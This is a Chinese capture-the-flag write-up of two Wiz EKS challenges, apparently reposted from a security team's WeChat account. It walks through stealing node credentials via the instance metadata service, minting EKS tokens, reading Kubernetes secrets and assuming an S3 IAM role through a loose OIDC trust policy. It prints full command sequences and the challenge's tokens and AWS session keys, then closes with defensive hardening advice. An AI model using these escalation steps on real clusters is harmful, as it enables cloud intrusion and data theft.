2024/2/2 19:00，东方隐侠与大家见面于B站，两个小时的交流中，少侠们踊跃发言，得以尽兴。直播回放已归档上传：
题目描述
You're inside a vulnerable pod on an EKS cluster. Your pod's service-account has no permissions. Can you navigate your way to access the EKS Node's privileged service-account?
你正在 EKS 集群上一个易受攻击的 pod 中。Pod 的服务帐户没有权限。你能通过利用 EKS 节点的权限访问服务帐户吗？
Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions
请注意：出于保护 CTF 基础设施的安全考虑，该节点的权限受到限制。
地址：https://eksclustergames.com/challenge/4
解题过程
哈哈哈，无情，没给 secrets 和 pod 的权限。
题目描述中言明我们已经在 EKS 集群内的 pod 内，已经提醒权限不高，但还是多做尝试。首先获取当前 AWS 中的身份信息：
root@wiz-eks-challenge:~# kubectl whoamisystem:serviceaccount:challenge4:service-account-challenge4root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentialseks-challenge-cluster-nodegroup-NodeInstanceRoleroot@wiz-eks-challenge:~# aws sts get-caller-identity{"UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282","Account": "688655246681","Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
这里我们可以看到 Arn 信息，从中我们能得知很多信息，可以查看 https://docs.aws.amazon.com/cli/latest/reference/查阅 AWS-CLI 文档关于 EKS 的部分，发现有个get-token的选项，我们尝试一下。
aws eks get-token --cluster-name <集群名称> > eks-token.json可是集群名称是啥呢？查看提示：
Can't determine the cluster's name?
The convention for the IAM role of a node follows the pattern: [cluster-name]-nodegroup-NodeInstanceRole.
因此由“eks-challenge-cluster-nodegroup-NodeInstanceRole”猜测其中集群名称为“eks-challenge-cluster”，节点组为“nodegroup”，节点实例角色为“NodeInstanceRole”。
使用 eks-challenge-cluste 获取集群名称，发现成功了：
root-eks-challenge:~# aws eks get-token --cluster-name eks-challenge-cluster{"kind": "ExecCredential","apiVersion": "client.authentication.k8s.io/v1beta1","spec": {},"status": {"expirationTimestamp": "2024-01-03T16:21:01Z","token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1WWFpVNlJPUSUyRjIwMjQwMTAzJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAxMDNUMTYwNzAxWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFTnIlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFESEclMkJvUHFGWHclMkIyZnR2OCUyRmlLM0FRRGt1cWVHNEVHTnFoOUVzMFpRekxETndpZ2JLOGM5NXZzUEUwYVBvWnA0dkFmJTJGNjlnWm0lMkZJTk9XY0xybnNTdDk1dExsMFNsdG50dWZhcjNjR2VPTTVJVFNLRkhuNjZ0REhaWE90bXhWVVhHb3olMkJBaXFKZmpyRUZOc3JyMSUyRmZQcXJCMjY0Rm44NSUyQm1BYmtpNFR3d0R6RWoxN0drSDBHcnJnOURhMlRqcSUyQkZmUVlWdVlUWUhBQnRUV1hRZkh0SU1wJTJCeWlpWnVXa3dhcWdCQWxVRG9ER1ZzV093MW5WNUh3emhsVDFYdW1LOGlCbmJUcVpuJTJCUENqYWk5YXNCakl0WDNDM0lGc1FBTU5GZzkxV0glMkJDU0RQN3ZsZUs0ajdJQmlGS3k0JTJGOXBjWUJJWUtCWFB5JTJGODFJa1V0MlpOJlgtQW16LVNpZ25hdHVyZT0xNGRkYTE3MDMyZmVlYmMxNzQxM2I2MzJjMjU3NzMxYzBhMTczMjAwODgxOTZhMDU4MGRlYjg1YjAxYTA3MmVl"}}
出现 token，利用 token 列举权限：
kubectl auth can-i --list --token="k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1WWFpVNlJPUSUyRjIwMjQwMTAzJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAxMDNUMTYwNzAxWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFTnIlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFESEclMkJvUHFGWHclMkIyZnR2OCUyRmlLM0FRRGt1cWVHNEVHTnFoOUVzMFpRekxETndpZ2JLOGM5NXZzUEUwYVBvWnA0dkFmJTJGNjlnWm0lMkZJTk9XY0xybnNTdDk1dExsMFNsdG50dWZhcjNjR2VPTTVJVFNLRkhuNjZ0REhaWE90bXhWVVhHb3olMkJBaXFKZmpyRUZOc3JyMSUyRmZQcXJCMjY0Rm44NSUyQm1BYmtpNFR3d0R6RWoxN0drSDBHcnJnOURhMlRqcSUyQkZmUVlWdVlUWUhBQnRUV1hRZkh0SU1wJTJCeWlpWnVXa3dhcWdCQWxVRG9ER1ZzV093MW5WNUh3emhsVDFYdW1LOGlCbmJUcVpuJTJCUENqYWk5YXNCakl0WDNDM0lGc1FBTU5GZzkxV0glMkJDU0RQN3ZsZUs0ajdJQmlGS3k0JTJGOXBjWUJJWUtCWFB5JTJGODFJa1V0MlpOJlgtQW16LVNpZ25hdHVyZT0xNGRkYTE3MDMyZmVlYmMxNzQxM2I2MzJjMjU3NzMxYzBhMTczMjAwODgxOTZhMDU4MGRlYjg1YjAxYTA3MmVl"
发现有 secrets 的 get 和 list 权限，对其进行利用：
kubectl get secrets -o yaml --token="k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1WWFpVNlJPUSUyRjIwMjQwMTAzJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAxMDNUMTYwNzAxWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFTnIlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFESEclMkJvUHFGWHclMkIyZnR2OCUyRmlLM0FRRGt1cWVHNEVHTnFoOUVzMFpRekxETndpZ2JLOGM5NXZzUEUwYVBvWnA0dkFmJTJGNjlnWm0lMkZJTk9XY0xybnNTdDk1dExsMFNsdG50dWZhcjNjR2VPTTVJVFNLRkhuNjZ0REhaWE90bXhWVVhHb3olMkJBaXFKZmpyRUZOc3JyMSUyRmZQcXJCMjY0Rm44NSUyQm1BYmtpNFR3d0R6RWoxN0drSDBHcnJnOURhMlRqcSUyQkZmUVlWdVlUWUhBQnRUV1hRZkh0SU1wJTJCeWlpWnVXa3dhcWdCQWxVRG9ER1ZzV093MW5WNUh3emhsVDFYdW1LOGlCbmJUcVpuJTJCUENqYWk5YXNCakl0WDNDM0lGc1FBTU5GZzkxV0glMkJDU0RQN3ZsZUs0ajdJQmlGS3k0JTJGOXBjWUJJWUtCWFB5JTJGODFJa1V0MlpOJlgtQW16LVNpZ25hdHVyZT0xNGRkYTE3MDMyZmVlYmMxNzQxM2I2MzJjMjU3NzMxYzBhMTczMjAwODgxOTZhMDU4MGRlYjg1YjAxYTA3MmVl"看到 flag 了，解码：
wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}
反思
本题考察对 AWS 元数据以及 EKS 的后利用，这个配置错误在现实生活中非常常见，题目中对权限做了诸多限制，现实生活中权限往往更大。
在 Kubernetes 集群管理中，kube-apiserver 负责控制对集群资源的访问权限，这包括了身份验证和授权两个环节。对于 Amazon Elastic Kubernetes Service（EKS）这个 AWS 提供的托管 Kubernetes 服务，它采用了一种叫做“Webhook Token Authentication”的方法来进行身份验证。简单来说，就是通过外部服务来检查令牌的有效性，并基于令牌中包含的用户信息给予精确的访问权限。
具体到 EKS 使用的情景，它借助了 AWS 的安全机制——Security Token Service（STS）。当你通过aws eks get-token命令获取认证令牌时，AWS CLI 会利用 STS 服务生成一个特殊的签名文档，这个文档详细记录了请求者的 AWS 身份属性，我们可以把它看作是访问 EKS 集群的“通行证”。
当拿着这个令牌去与 EKS 集群进行交互时，EKS 集群会把这个令牌送到 STS 进行严格的审核。只要 STS 确认了令牌的有效性和关联的 AWS 用户身份信息，EKS 集群就会根据这些已验证的身份属性执行相应的权限策略。所以，只要你手中的令牌经过 STS 验证、并且该 AWS 身份具备对目标 EKS 集群的管理权限，你就能直接有效地对该集群进行各种管理操作。
可以通过以下命令手动生成一个身份验证令牌：
aws eks get-token --cluster <cluster_name>结果会生成以“k8s-aws-v1”开头、后续为 base64 编码字符串的令牌：
{"kind": "ExecCredential","apiVersion": "client.authentication.Kubernetes.io/v1beta1","spec": {},"status": {"expirationTimestamp": "2023-11-13T07:49:07Z","token": "Kubernetes-aws-v1.aH[...]ODU5MGU"}}
该令牌的权限与 Kubernetes 集群 RBAC 角色一样，会存在配置不当的风险，一旦权限过高，则可以利用该令牌直接管理 Kubernetes 集群。
题目描述
You've successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of thes3access-sa service account, and get the flag?
你已成功从有限的服务账户过渡到 Node 服务账户！干得漂亮。下一个挑战是从 EKS 移动到 AWS 账户。你能获得 s3access-sa 服务账户的 AWS 角色，最终获取 flag 吗？
本题目标是从 EKS 迁移到 AWS 账户，获取 s3access-sa 服务账户的 AWS 权限，本题的焦点是如何生成一个 aws 令牌。
题目中给出的信息：
IAM Policy：该策略允许用户读取名为"challenge-flag-bucket-3ff1ae2"的 S3 桶中的对象，以及列出桶中的对象，同时，也允许用户读取该桶中名为"flag"的特定对象。
{"Policy": {"Statement": [{"Action": ["s3:GetObject","s3:ListBucket"],"Effect": "Allow","Resource": ["arn:aws:s3:::challenge-flag-bucket-3ff1ae2","arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"]}],"Version": "2012-10-17"}}
Trust Policy：该 IAM 信任策略允许一个特定的 OIDC 提供者使用“AssumeRoleWithWebIdentity”权限来扮演这个 IAM 角色，当且仅当 OIDC token 的"aud"（）字段等于"sts.amazonaws.com"时，这个权限才会被授予。
{"Version": "2012-10-17","Statement": [{"Effect": "Allow","Principal": {"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"},"Action": "sts:AssumeRoleWithWebIdentity","Condition": {"StringEquals": {"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"}}}]}
Permissions：显示当前角色可以列出 secret/serviceaccount/pod、读取 secret/serviceaccount/pod 的内容，并可以创建 serviceaccounts/token。
{"secrets": ["get","list"],"serviceaccounts": ["get","list"],"pods": ["get","list"],"serviceaccounts/token": ["create"]}
解题过程
对于 Trust Policy 所提到的 OIDC 服务：AWS 的 OpenID Connect (OIDC) 是一种身份验证协议，它允许您使用第三方身份提供商（如 Google、Facebook 或企业身份系统）来认证用户。在 AWS 中，您可以创建一个 OIDC 身份提供商，然后利用这个提供商来授予 AWS 资源的访问权限。
先看 kubectl 的权限情况，还是跟题 4 一样的权限，不同的是这时候 secrets 里就没有 Flag 了，我们看到可以创建serviceaccounts/token，创建 token 试试看。
创建出来的 token 如下
root@wiz-eks-challenge:~eyJhbGciOiJSUzI1NiIsImtpZCI6IjdjNGM0YmQyZDAyYWVhMzRiMDQyNTljM2Q5OTQwMjlmYjNmOTRlNDkifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzA0MzAyODc0LCJpYXQiOjE3MDQyOTkyNzQsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwNDI5OTI3NCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.CoQNGH8NHXAKcsp1CNaCV6CXpNJ9BjbgOu-4WQuZvJAEx7xTwv2wm2Cj8c1z1BhtRO5Z3NfwLIhj4sXQscRPaz2A_GV0DbUsLW4N_uPkPHWlcENPs4HeCgb-tZaqK1HRgGqGwY7NFKRkE9O_kLuqOIWx_rxJe2FMEbzZOBfcwOr-GQpF-rwg814dCNDj2lEAdLk_ADj7OH4chfv42MasNJdFnxLwegF664-ccAi8SnYRhTfke-yFkA2l3vpgOmYwC8V6tlCk8ckostOdv9tdbLbiaEW2K3un3FZhhxxUdEav1gzwpxNuTiiXU_zAWmWkd2RHAgXjf038KaQDdNvk1w
注意上述命令需要结尾加上--audience sts.amazonaws.com，否则不能用于 aws
把 jwt-token 进行解密：
其中 iss 数据中出现 oidc，意味着具备 oidc 权限。
获取 AWS 权限：
root-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name test --web-identity-token "eyJhbGciOiJSUzI1NiIsImtpZCI6IjdjNGM0YmQyZDAyYWVhMzRiMDQyNTljM2Q5OTQwMjlmYjNmOTRlNDkifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzA0MzAyODc0LCJpYXQiOjE3MDQyOTkyNzQsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwNDI5OTI3NCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.CoQNGH8NHXAKcsp1CNaCV6CXpNJ9BjbgOu-4WQuZvJAEx7xTwv2wm2Cj8c1z1BhtRO5Z3NfwLIhj4sXQscRPaz2A_GV0DbUsLW4N_uPkPHWlcENPs4HeCgb-tZaqK1HRgGqGwY7NFKRkE9O_kLuqOIWx_rxJe2FMEbzZOBfcwOr-GQpF-rwg814dCNDj2lEAdLk_ADj7OH4chfv42MasNJdFnxLwegF664-ccAi8SnYRhTfke-yFkA2l3vpgOmYwC8V6tlCk8ckostOdv9tdbLbiaEW2K3un3FZhhxxUdEav1gzwpxNuTiiXU_zAWmWkd2RHAgXjf038KaQDdNvk1w"{"Credentials": {"AccessKeyId": "ASIA2AVYNEVMV3ISPIPZ","SecretAccessKey": "z7uCQJvkWScOAOOi0ZbnfU1lU8ULqZueuydYdfoU","SessionToken": "IQoJb3JpZ2luX2VjEMn//////////wEaCXVzLXdlc3QtMSJHMEUCIBieAG1MOWH6+LiHSrn2UjCUwNMvPJjc8W4yiTYJT0kEAiEAuL14e3ekKOIBImi1vfYk9SPZbWqJ4tqaFfbtMq9xDdgqtQQIYhAAGgw2ODg2NTUyNDY2ODEiDCf1PoNjM9l3zdDLuyqSBEn31rsyN7TXD173oqAxvDjunMvgGpZVOoo01pnZC8s7FoqWP27rg3FcfdXivh3dYmBP7wew0atyIAHgWvXzc3k0L7PgoiJjAm9IRk9lzq7rGJpR5AWxG0+wyToH1xW3nD0hpjTXDog3x8JMqd7CILnH1mdaiM1xM9U+JQaQPhu0IknMQ/jqOzlSkz8vgbclTzMZBChold/MeUlCwsn/wfYw/ARlHjCZmE36LRfz8bXnciEhEPwNpfOTdI8NHc17cQKypnN0397MeIv75NMGO9xElKLi2BxbsqrDdMVYR3g1JOFL/+MB2n3BmE7yOM3VkV0iTeDJYe8eJZOWIZsNeZ6xQN8NmXYoM5SBt7sK1XS7T2hPiQyHNyaINUCvpfKErCVjmDnV9yx7+HLBOFLPuprmwuR90Cif9RLtT4Jb5LPmGjUlnSHpb9yH1mlJpIcNiApQvj4dumyozcsi4UUvCIliw33knUnhopy4g0jG/qjQuURFQ8m23gUg9qSrpDTeSuvOGTeyajoyXZ0pGihobn8VBRS+pQp+n17YU03XcgQ14QD5ijW/i1hWX3KqIUI9IES/1T3YlWR+9hyIGwjNHx2gI+0p6Pi+QJwbl72PPFht+fbLA4sOgHI28/ZmM9JoPk1nBsKJNwv0xglU3YkZD+AMal31b5XHqDe6qdubr+rzan4kjSNZrtyuY590epjpNd9/MJae1qwGOpUBvAHWp4G6K06QbcBYB98RettbB8vwfor2DB3koqbtLJMul0a4JFhJUgkOuzb2qyqW1LXjwGjekoFX6XEh3o0q0lsvAoHSQ3BAV5I/HZHcvguIwAnp3GwflmCeFy/46yCNFMm1xJ2EHta7tST7WtO3IyRwl+6Y6RBTFr23lm+gxMUsv2mJYgBvarBwACvrTBhazQdR2wA=","Expiration": "2024-01-03T17:45:10+00:00"},"SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa","AssumedRoleUser": {"AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:test","Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test"},"Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589","Audience": "sts.amazonaws.com"
成功获取 AWS 权限后，进行登录获取 flag：
其他解法：
flag存储于challenge-flag-bucket-3ff1ae2存储桶中，我们需要获取到访问该存储桶的权限，那么需要获取到对应IAM角色的云凭据。
利用当前权限通过查看集群资源信息，返回结果如下：
root-eks-challenge:~# kubectl get podsNo resources found in challenge5 namespace.root-eks-challenge:~# kubectl get secretsNo resources found in challenge5 namespace.root-eks-challenge:~# kubectl get saNAME SECRETS AGEdebug-sa 0 12ddefault 0 12ds3access-sa 0 12d
当前集群仅有三个sa，查看sa的内容：
root-eks-challenge:~# kubectl get sa debug-sa -o json{"apiVersion": "v1","kind": "ServiceAccount","metadata": {"annotations": {"description": "This is a dummy service account with empty policy attached","eks.amazonaws.com/role-arn": "arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e"},"creationTimestamp": "2023-10-31T20:07:37Z","name": "debug-sa","namespace": "challenge5","resourceVersion": "671929","uid": "6cb6024a-c4da-47a9-9050-59c8c7079904"}}root-eks-challenge:~# kubectl get sa default -o json{"apiVersion": "v1","kind": "ServiceAccount","metadata": {"creationTimestamp": "2023-10-31T20:07:11Z","name": "default","namespace": "challenge5","resourceVersion": "671804","uid": "77bd3db6-3642-40d5-b8c1-14fa1b0cba8c"}}root-eks-challenge:~# kubectl get sa s3access-sa -o json{"apiVersion": "v1","kind": "ServiceAccount","metadata": {"annotations": {"eks.amazonaws.com/role-arn": "arn:aws:iam::688655246681:role/challengeEksS3Role"},"creationTimestamp": "2023-10-31T20:07:34Z","name": "s3access-sa","namespace": "challenge5","resourceVersion": "671916","uid": "86e44c49-b05a-4ebe-800b-45183a6ebbda"}}
其中s3access-sa中显示的角色ARN包含“S3Role”字样，猜测为最终要获取的或构建的角色的ARN。
已知我们拥有“create serviceaccounts/token”权限，因此可以尝试使用 TokenRequest API 获取一个短期令牌。经测试发现我们可以为 debug-sa 服务帐户创建令牌，但不能为 s3access-sa 创建令牌：
root@wiz-eks-challenge:~# kubectl create token s3access-saerror: failed to create token: serviceaccounts "s3access-sa" is forbidden: User "system:node:challenge:ip-192-168-21-50.us-west-1.compute.internal" cannot create resource "serviceaccounts/token" in API group "" in the namespace "challenge5"root@wiz-eks-challenge:~# kubectl create token debug-saeyJhbGci[...]66B-YamXw
回顾信任策略，发现它仅对OIDC token的"aud"字段进行检查，并没有检查subject字段。
在Kubernetes的TokenRequest API中，sub（subject）字段通常被用来表示令牌的主体，也就是令牌的所有者。这通常是一个服务账户。如果IAM信任策略没有对sub字段进行检查，那么任何能够生成有效OIDC令牌的服务账户都可以扮演这个IAM角色。
例如，假设你有一个服务账户A，它只应该有访问某些特定资源的权限，而你的IAM角色有更广泛的权限。如果IAM信任策略没有对sub字段进行检查，那么服务账户A就可能生成一个OIDC令牌，然后扮演这个IAM角色，从而获得更广泛的权限。
在AWS EKS环境中，assume-role-with-web-identity命令常常与Kubernetes的服务账户一起使用，以便让Kubernetes中的Pod能够获得访问AWS资源的权限。以下是如何使用assume-role-with-web-identity命令的基本步骤：
-
从身份提供者（IDP）获取一个身份令牌。这通常涉及到用户的身份验证，并且会返回一个JWT（JSON Web Token）。
-
调用assume-role-with-web-identity命令，传递身份令牌和想要扮演的IAM角色的ARN（Amazon Resource Name）。例如：
aws sts assume-role-with-web-identity--role-arn arn:aws:iam::123456789012:role/FederatedWebIdentityRole--role-session-name "my-session-name"--web-identity-token file://path-to-token
3. assume-role-with-web-identity命令会返回一个包含临时安全凭证的响应。这个响应包括一个AccessKeyId、一个SecretAccessKey、一个SessionToken和一个过期时间。
4. 使用这些临时安全凭证来访问AWS资源。例如，你可以将它们设置为你的AWS SDK或者CLI的环境变量，然后使用它们来发送AWS API请求。
因此可以利用信任策略中存在的风险，创建我们扮演我们需要的角色值：
root-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name test --web-identity-token "$TOKEN"{"Credentials": {"AccessKeyId": "ASIA2AV[...]KDJQG7L","SecretAccessKey": "U5JIhuryg[...]60GPuovIkRKmiG3+","SessionToken": "IQoJb3JpZ2luX2VjEPn//////////wEaCXVzLXdlc3QtMSJHMEUCICMd1Wn8Vp83saPOqeXsifXhposvzCoiZVu5frKLCWjq[...]8ksKhw84=","Expiration": "2023-11-13T10:07:14+00:00"},"SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa","AssumedRoleUser": {"AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:test","Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test"},"Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589","Audience": "sts.amazonaws.com"}
配置该会话凭证（当前env中有“AWS_ACCESS_KEY_ID”等变量，可在环境变量中配置或将环境变量清空，在文件中配置），确认当前身份为“arn:aws:sts::688655246681:assumed-role/challengeEksS3Role”开头，然后便可访问 S3 对象：
root@wiz-eks-challenge:~# aws sts get-caller-identity{"UserId": "AROA2AVYNEVMZEZ2AFVYI:test","Account": "688655246681","Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test"}root@wiz-eks-challenge:~# aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag .download: s3://challenge-flag-bucket-3ff1ae2/flag to ./flagroot@wiz-eks-challenge:~# cat flagwiz_eks_challenge{xxxxx}
最终获取flag。
获得证书
解题思路总结
题目要求：从 EKS 移动到 AWS 账户，获取 s3access-sa 服务账户的 AWS 角色，并获取 Flag。
解题路径：
-
理解并利用 IAM Policy 和 Trust Policy 的配置规则。
-
利用现有角色权限创建 serviceaccount/token。
-
将生成的 token 用于 AssumeRoleWithWebIdentity 接口以扮演 IAM 角色，从而获得 AWS 资源访问权限，并最终定位到 S3 存储桶中的 Flag。
反思：从集群服务移动到云账户风险
IRSA（IAM roles for service accounts）具有使用户能够将 IAM 角色关联至 Kubernetes 服务账户的功能。其精髓在于采用 Kubernetes 的服务账户令牌卷投影特性，确保引用 IAM 角色的服务账户 Pod 在启动时访问 AWS IAM 的公共 OIDC 发现端点。该端点主要负责为 Kubernetes 颁发的 OIDC 令牌进行数字签名，从而使得目标 Pod 可以调用与 AWS API 相关的 IAM 角色。
当使用 AWS SDK 调用 AWS API 时，系统会执行 sts:AssumeRoleWithWebIdentity，同时会自动将 Kubernetes 颁发的令牌转换为 AWS 角色凭证。当 IAM 信任策略配置不当时，我们可以通过aws sts assume-role-with-web-identity命令扮演另一个角色，从获取更广泛的权限。
以攻促防：集群安全最佳实践
在使用 Kubernetes 服务时，需要在多个环节做到最佳安全实践，包括但不限于身份与访问管理、运行时安全、镜像安全、网络安全、数据安全、检测控制等。常见的做法如下：
1-遵循权限最小化配置集群角色
在配置 Kuberntes 集群角色权限时，应采用白名单的手法，明确所需权限，禁止使用"*"通配符，避免权限过高风险。同样可以使用 KubiScan 等权限扫描工具定期排查相关风险。
2-禁用服务账户令牌的自动挂载机制
如果 Pod 中的应用程序不需要调用 Kubernetes API，则可以取消掉服务账户的自动挂载机制，防止恶意攻击者通过应用漏洞进入容器内，利用服务账户进行集群内横向移动、权限提升。
3-谨慎赋予容器 Capability
与 Kubernetes 集群角色类似，应该采用白名单的方式，为容器添加所需的 Capability，防止恶意攻击者进行权限提升和容器逃逸。
4-弃用 IMDSv1，使用 IMDSv2.I
MDSv1 存在一定的风险，且出现过较为严重的安全事件，AWS 官方已明确提示使用 IMDSv2 代替 IMDSv1，并于 2024 年年中起，新发布的 Amazon EC2 实例类型将仅使用 v2 版本的 IMDS。
5-以非 root 用户身份运行容器内的应用程序
在默认情况下，容器会以 root 用户身份运行，这显然不符合最佳实践。如果攻击者利用应用程序的漏洞获取到容器内的权限，则可能进行一些高危操作。以非 root 用户身份运行，可以增加攻击者的门槛，降低边界突破对容器环境的影响。
6-合理设置容器注册表凭据权限
业务环境中的容器注册表凭据，应仅拥有镜像的拉取权限，一旦赋予推送权限，则可能造成供应链攻击风险。
7-敏感信息筛查
在构建镜像、运行业务应用程序、部署容器环境的过程中，尽可能消除一切可能暴露给攻击者的敏感信息，同时采用加密方式存储，避免敏感信息泄露。
8-为各容器设置请求与限制，以避免资源争用与 DoS 攻击
容器在启动中应合理分配资源，防止攻击者通过恶意操作耗尽集群资源，造成 DoS 攻击。
原文始发于微信公众号（东方隐侠安全团队）：第九节：破晓容器安全-靶场实战（下）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论